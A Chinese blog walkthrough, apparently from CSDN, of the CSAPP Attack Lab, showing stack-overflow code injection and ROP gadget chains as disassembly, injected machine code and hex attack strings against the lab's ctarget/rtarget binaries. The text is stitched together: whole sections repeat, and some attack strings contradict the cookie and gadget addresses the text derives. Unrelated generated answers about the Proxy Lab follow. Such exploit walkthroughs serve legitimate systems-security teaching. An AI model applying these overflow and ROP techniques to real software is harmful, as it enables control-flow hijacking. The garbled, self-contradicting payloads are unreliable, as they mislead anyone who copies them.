csapp attack lab

各种病毒扫描软件都会提示有安全漏洞,通过安全漏洞攻击者可以使攻击者能够在未授权的情况下访问或破坏系统。栈溢出攻击就是常见的攻击手段之一,通过向栈中写入过多的数据导致数据溢出来改变程序执行流程,从而达到攻击的效果。在attack lab中,我们将利用getbuf()函数不检查输入字符存储空间和栈分配空间检查的这一特性来对现有程序进行控制流劫持,执行非法程序代码。

这次我们将采用两种方式来进行攻击:

  • 栈溢出攻击
  • ROP攻击

以下为栈帧结构,栈顶的地址最小,栈顶的地址最大,寄存器rsp指向栈顶,返回地址可能因为栈溢出而被覆盖。
在这里插入图片描述

讲义首先给我们介绍了程序漏洞的关键:getbuf函数

unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

getbuf()函数在栈中申请了一块大小为BUFFER_SIZE字节的空间,Gets()函数与gets()类似,用于从标准输入流中读取字符。由于未对输入字符串所需空间与栈分配空间检查,只是简单地复制字节序列,所以我们可以通过输入超过BUFFER_SIZE字节的字符串来改变函数的行为。
ret指令会将调用方在栈中的返回地址读入IP 中,从而执行该地址指向的代码。代码注入攻击(code injection attacks)在栈中写入可执行的代码,将返回地址设置为可执行代码的起始位置即可执行。

Code Injection Attacks

Level 1

在这一关中,我们无需注入代码,只需要更改getbuf()函数的返回地址执行touch1 即可。
ctarget通过test函数来调用getbuf()函数。
讲义给出ctargettest的c语言代码如下:

void test() {
    int val;
    val = getbuf();
    printf("NO explit. Getbuf returned 0x%x\n", val);
}

我们需要让程序执行touch1函数,在test函数返回时调用touch1而不是返回test

void touch1() {
    vlevel = 1;
    printf("Touch!: You called touch1()\n");
    validate(1);
    exit(0);
}

ctarget反编译成汇编代码,重定向到ctarget.txt中:objdump -d ctarget > ctarget.txt
接下来我们需要确定getbuf()分配的栈空间的大小,getbuf()对应的反汇编程序如下

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

这里将rsp减了0x28(40) ,即在栈中分配了一块40字节的空间,之后将rsp 作为Gets的参数传入。
根据栈帧的结构,栈向低地址增长,在栈的40字节以上的8个字节是调用getbuf后的返回地址,也就是下一条指令地址。我们需要将栈的40个字节填满,再写入touch1函数的入口地址,在getbuf 执行了ret指令后就会跳转到touch1 的地址开始执行。
查看touch1对应的地址

00000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>

注意到x86为小端法编址,构造字符串序列如下:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
c0 17 40 00 00 00 00 00
  • 将上述字符串写入touch1.txt vi touch1.txt
  • 将字符串转换为字节码 ./hex2raw < touch1.txt > touch1_r.txt
  • 再执行 ./ctarget -i -q touch1_r.txt

Level 2

Level2需要插入代码段,讲义给出ctarget中的touch2函数的代码如下:

void touch2(unsigned val) {
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

与Level 1类似,Level 2要求跳转到touch2处执行,不同的是,我们需要将cookie作为参数传入。我们需要让程序执行我们插入的代码,设置对应的参数,再调用touch2函数。
touch2的第一个参数存放在rdi中,我们需要设置这个寄存器的值为cookie。
由此可知,我们插入的代码的汇编格式应该如下:

movq $0x59b997fa,%rdi // rdi = cookie
pushq $0x4017ec //将rsp设为touch2地址
ret //读取rsp指向的地址并跳转

接下来将汇编代码编译成机器代码

gcc -c touch2.s

再转换成对应的机器码

objdump -d touch2.o > touch2.bytes

touch2.bytes中的内容为:

touch2.o:     file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq

将指令的机器码作为攻击字符串的开头,将栈的首地址放在栈外的8个字节,其余部分用0填充,构成我们的攻击字符串。
接下来我们需要查看rsp对应的位置

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

在0x4017ac处设置断点 break *0x4017ac

x/64xb $rsp

查看rsp后64个字节的内容,可以看到首地址为0x5561dc78,第6行也就是0x28个字节之后存放原返回地址。

0x5561dc78:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x5561dc80:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x5561dc88:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x5561dc90:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x5561dc98:     0x00    0x60    0x58    0x55    0x00    0x00    0x00    0x00
0x5561dca0:     0x76    0x19    0x40    0x00    0x00    0x00    0x00    0x00
0x5561dca8:     0x02    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x5561dcb0:     0x24    0x1f    0x40    0x00    0x00    0x00    0x00    0x00

构造攻击字符串如下:

48 c7 c7 ee 4f 37 45 68 
60 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
78 dc 61 55 00 00 00 00

Level 3

讲义给出ctarget 中的touch2 函数的代码如下:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval) {
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

和Level 2有所不同,Level 3会调用另外一个函数来进行检验,将字符串的首地址传入touch3中,这个字符串需要和cookie字符串相同。
首先将cookie对应字符串0x59b997fa转换为ASCII码表示的字符串35 39 62 39 39 37 66 61 00 。之后我们需要将字符串存放在栈中,并将rdi的值设置为字符串的首地址。同时在hexmatch函数调用过程中我们需要确保字符串中的数据不被覆盖,这样hexmatch 才可以返回正确的值。

00000000004018fa <touch3>:
  4018fa:	53                   	push   %rbx
  .
  .
  .
  401911:	e8 36 ff ff ff       	callq  40184c <hexmatch>
000000000040184c <hexmatch>:
  40184c:	41 54                	push   %r12
  40184e:	55                   	push   %rbp
  40184f:	53                   	push   %rbx

上述指令在执行过程中都会向栈中压入新的内容,调用touch3之后分配的栈空间因此会发生改变。如果将字符串放在touch3地址以上区域就不会被覆盖。
汇编代码如下:

mov $0x5561dc90,%rdi
mov $0x5561dc88,%rsp
ret

转化为机器码:

Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 90 dc 61 55    mov    $0x5561dc90,%rdi
   7:   48 c7 c4 88 dc 61 55    mov    $0x5561dc88,%rsp
   e:   c3                      retq

构造攻击字符串如下:

48 c7 c7 90 dc 61 55 48 
c7 c4 88 dc 61 55 c3 00
fa 18 40 00 00 00 00 00 //touch3地址
35 39 62 39 39 37 66 61 // 目标字符串
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 //注入指令首地址

ROP attacks

之前我们通过在栈空间中插入可执行的代码来进行攻击,但是在rtarget中采用了两种技术来防止这种攻击:

  • 栈随机化,这样我们无法确定跳转位置。
  • 栈中的代码是不可执行的,所以我们按照之前的方式插入代码会引发段错误。

但是我们可以通过返回地址来执行我们想要的操作。
例如,程序中有这样一个函数:

void setval_210(unsigned *p)
{
    *p = 3347663060U;
}

对应汇编代码如下:

0000000000400f15 <setval_210>:
  400f15:       c7 07 d4 48 89 c7       movl   $0xc78948d4,(%rdi)
  400f1b:       c3                      retq

其中字节序列48 89 c7 c3又可被解读为

movq %rax, %rdi
ret

那么我们可以怎么利用这个字节序列来执行这个代码呢?将返回地址设置为该字节序列的起始位置0x400f15,在执行ret指令的时候就会跳转到这个地址,执行48 89 c7 c3所编码的指令。

Level 2

与之前Level 2任务相同:将自己的cookie作为参数传入touch2
查看gadget中提供的我们可以执行指令,

00000000004019a7 <addval_219>: 
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq

其中58 90 c3,这三个字节分别编码了三条指令:

popq %rax
nop
ret

接下来我们需要

movq %rax,%rdi

在给定的可执行代码中查找,刚好有对应的字节序列

00000000004019c3 <setval_426>: 
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	retq

其中{% label default@48 89 c7 c3 %}编码了上述指令。
分别计算指令地址,构造攻击字符串如下:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 //前0x28个字符填充0x00
ab 19 40 00 00 00 00 00 //popq %rax 
fa 97 b9 59 00 00 00 00 //cookie (popq的目标)
a2 19 40 00 00 00 00 00 //movq %rax,%rdi
ec 17 40 00 00 00 00 00 //返回到 touch2 retq

Level 3

我们接下来的思路为:

  1. 获得 %rsp 的地址
  2. 将(栈的起始地址)+(cookie 的偏移量)放入某个寄存器中
  3. 将寄存器的值放入 %rdi 中
  4. 调用 touch3

首先,寻找 movq %rsp, %rax, 48 89 e0
在以下字节序列中可以找到:

0000000000401aab <setval_350>:
  401aab:   c7 07 48 89 e0 90       movl   $0x90e08948,(%rdi)
  401ab1:   c3                      retq

gadget_farm中的一个函数{% label default@add_xy %}可实现地址偏移。

00000000004019d6 <add_xy>: 
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq

接下来要将 %rax 的内容移动到 %rdi 中,找到 mov %rax, %rdi, 即字节码为48 89 c7 的代码片段:

00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq

cookie的偏移位置为55(0x37)-3*8=31
构造攻击字符串如下:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00 //movq %rsp, %rax
d8 19 40 00 00 00 00 00 //add_xy
a2 19 40 00 00 00 00 00 //mov %rax, %rdi,
fa 18 40 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 35 //cookie
39 62 39 39 37 66 61 00
0x5561dc78:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x5561dc80:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x5561dc88:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x5561dc90:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x5561dc98:     0x00    0x60    0x58    0x55    0x00    0x00    0x00    0x00
0x5561dca0:     0x76    0x19    0x40    0x00    0x00    0x00    0x00    0x00
0x5561dca8:     0x02    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x5561dcb0:     0x24    0x1f    0x40    0x00    0x00    0x00    0x00    0x00

构造攻击字符串如下:

48 c7 c7 ee 4f 37 45 68 
60 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
d8 f2 60 55 00 00 00 00

Level 3

讲义给出ctarget 中的touch2 函数的代码如下:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval) {
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

和Level 2有所不同,Level 3会调用另外一个函数来进行检验,将字符串的首地址传入touch3中,这个字符串需要和cookie字符串相同。
首先将cookie对应字符串0x59b997fa转换为ASCII码表示的字符串35 39 62 39 39 37 66 61 00 。之后我们需要将字符串存放在栈中,并将rdi的值设置为字符串的首地址。同时在hexmatch函数调用过程中我们需要确保字符串中的数据不被覆盖,这样hexmatch 才可以返回正确的值。

00000000004018fa <touch3>:
  4018fa:	53                   	push   %rbx
  .
  .
  .
  401911:	e8 36 ff ff ff       	callq  40184c <hexmatch>
000000000040184c <hexmatch>:
  40184c:	41 54                	push   %r12
  40184e:	55                   	push   %rbp
  40184f:	53                   	push   %rbx

上述指令在执行过程中都会向栈中压入新的内容,调用touch3之后分配的栈空间因此会发生改变。如果将字符串放在touch3地址以上区域就不会被覆盖。
汇编代码如下:

mov $0x5561dc90,%rdi
mov $0x5561dc88,%rsp
ret

转化为机器码:

Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 90 dc 61 55    mov    $0x5561dc90,%rdi
   7:   48 c7 c4 88 dc 61 55    mov    $0x5561dc88,%rsp
   e:   c3                      retq

构造攻击字符串如下:

48 c7 c7 90 dc 61 55 48 
c7 c4 88 dc 61 55 c3 00
fa 18 40 00 00 00 00 00 //touch3地址
35 39 62 39 39 37 66 61 // 目标字符串
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 //注入指令首地址

ROP attacks

之前我们通过在栈空间中插入可执行的代码来进行攻击,但是在rtarget中采用了两种技术来防止这种攻击:

  • 栈随机化,这样我们无法确定跳转位置。
  • 栈中的代码是不可执行的,所以我们按照之前的方式插入代码会引发段错误。

但是我们可以通过返回地址来执行我们想要的操作。
例如,程序中有这样一个函数:

void setval_210(unsigned *p)
{
    *p = 3347663060U;
}

对应汇编代码如下:

0000000000400f15 <setval_210>:
  400f15:       c7 07 d4 48 89 c7       movl   $0xc78948d4,(%rdi)
  400f1b:       c3                      retq

其中字节序列48 89 c7 c3又可被解读为

movq %rax, %rdi
ret

那么我们可以怎么利用这个字节序列来执行这个代码呢?将返回地址设置为该字节序列的起始位置0x400f15,在执行ret指令的时候就会跳转到这个地址,执行48 89 c7 c3所编码的指令。

Level 2

与之前Level 2任务相同:将自己的cookie作为参数传入touch2
查看gadget中提供的我们可以执行指令,

00000000004019a7 <addval_219>: 
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq

其中58 90 c3,这三个字节分别编码了三条指令:

popq %rax
nop
ret

接下来我们需要

movq %rax,%rdi

在给定的可执行代码中查找,刚好有对应的字节序列

00000000004019c3 <setval_426>: 
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	retq

其中{% label default@48 89 c7 c3 %}编码了上述指令。
分别计算指令地址,构造攻击字符串如下:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 //前0x28个字符填充0x00
ab 19 40 00 00 00 00 00 //popq %rax 
fa 97 b9 59 00 00 00 00 //cookie (popq的目标)
a2 19 40 00 00 00 00 00 //movq %rax,%rdi
ec 17 40 00 00 00 00 00 //返回到 touch2 retq

Level 3

我们接下来的思路为:

  1. 获得 %rsp 的地址
  2. 将(栈的起始地址)+(cookie 的偏移量)放入某个寄存器中
  3. 将寄存器的值放入 %rdi 中
  4. 调用 touch3

首先,寻找 movq %rsp, %rax, 48 89 e0
在以下字节序列中可以找到:

0000000000401aab <setval_350>:
  401aab:   c7 07 48 89 e0 90       movl   $0x90e08948,(%rdi)
  401ab1:   c3                      retq

gadget_farm中的一个函数{% label default@add_xy %}可实现地址偏移。

00000000004019d6 <add_xy>: 
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq

接下来要将 %rax 的内容移动到 %rdi 中,找到 mov %rax, %rdi, 即字节码为48 89 c7 的代码片段:

00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq

cookie的偏移位置为55(0x37)-3*8=31
构造攻击字符串如下:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00 //movq %rsp, %rax
d8 19 40 00 00 00 00 00 //add_xy
a2 19 40 00 00 00 00 00 //mov %rax, %rdi,
fa 18 40 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 35 //cookie
39 62 39 39 37 66 61 00
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: CSAPP Proxy Lab是CMU计算机科学系的一项课程作业。该作业旨在通过设计和实现一个基于代理服务器的Web代理,让学生更好地理解计算机网络、操作系统和编程等方面的知识,提高他们的编程能力和问题解决能力。 在这个作业中,学生需要实现一个Web代理程序,该程序需要能够接受来自客户端的HTTP请求,并将请求转发到相应的Web服务器。代理程序需要能够处理HTTP请求的各种类型(GET、POST、PUT等),并且需要能够处理HTTP响应的各种错误码(404、500等)。代理程序还需要支持并发处理多个HTTP请求,以提高系统的效率。 在实现代理程序的过程中,学生需要掌握网络编程、多线程编程、Socket编程等技术,并且需要使用C语言实现代理程序。此外,还需要学生能够理解HTTP协议、代理服务器的工作原理以及Web应用的工作流程等相关知识。 总之,CSAPP Proxy Lab是一项非常有挑战性的作业,需要学生具备扎实的编程基础和网络知识。通过完成该作业,学生可以深入理解计算机网络、操作系统和编程等方面的知识,并提高自己的编程能力和问题解决能力。 ### 回答2: CSAPP Proxy Lab是Carnegie Mellon大学计算机科学的一项项目,旨在帮助学生深入了解计算机网络和代理服务器的工作原理以及如何开发高效的网络应用程序。 Proxy Server是一种应用程序,可以充当网络上的“中转站”,它可以通过代理服务器将客户端请求转发到目标服务器端,并将响应返回给客户端。Proxy Lab的任务是实现一个HTTP代理服务器,它需要能够从客户端接收请求,并将请求转发到目标服务器,然后将响应发送回客户端。 实现Proxy Lab需要掌握网络编程、多线程编程、缓存设计以及HTTP协议等知识。代理服务器需要支持并发处理多个客户端请求,以保证高效的网络传输。为了提高性能,代理服务器还需要对常见的网页、图片和视频进行缓存,避免重复请求。 除了上述技能外,实现Proxy Lab还需要良好的编程能力和团队合作精神。在实现Proxy Lab的过程中,学生需要与队友紧密协作,及时沟通、并发同步,以确保项目的顺利进行。 总之,CSAPP Proxy Lab是一项非常有挑战性的计算机网络应用项目,不仅要求学生充分理解TCP/IP协议、HTTP协议等基本概念,还需要具备优秀的编程和团队协作能力。完成该项目不仅可以提高学生的技能,也可以为日后工作和实际应用打下良好的基础。 ### 回答3: CSAPP Proxy Lab 是一个经典的计算机科学实验,它涵盖了计算机网络知识和系统编程技能。这个实验的主要目标是构建一个基本的 Web 代理服务器,该服务器能够处理 HTTP 请求,并在远程 Web 服务器上代表客户端处理这些请求。 在 Proxy Lab 中,学生需要实现一个基于事件驱动的 Web 代理服务器。该服务器使用 epoll 进行事件处理,可以同时处理多个连接和请求。代理服务器需要支持从客户端接收 HTTP 请求,并解析请求头,将请求发送到远程服务器,接收响应,并将响应发送回客户端。在此过程中,代理服务器需要支持请求过滤和转发,以及缓存功能。 重要的是,学生需要处理一些常见的 Web 代理挑战,例如连接重用、响应缓存、虚拟主机支持和负载均衡。通过完成 Proxy Lab 实验,学生将获得有关计算机系统编程和网络协议的深入知识,并获得实际构建 Web 代理服务器的经验。 总之,CSAPP Proxy Lab 是一个非常重要的实验,它可以帮助学生领会计算机网络和系统编程的核心概念。通过完成这个实验,学生将获得深入的理解和实践经验,从而更好地了解计算机系统和网络技术。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值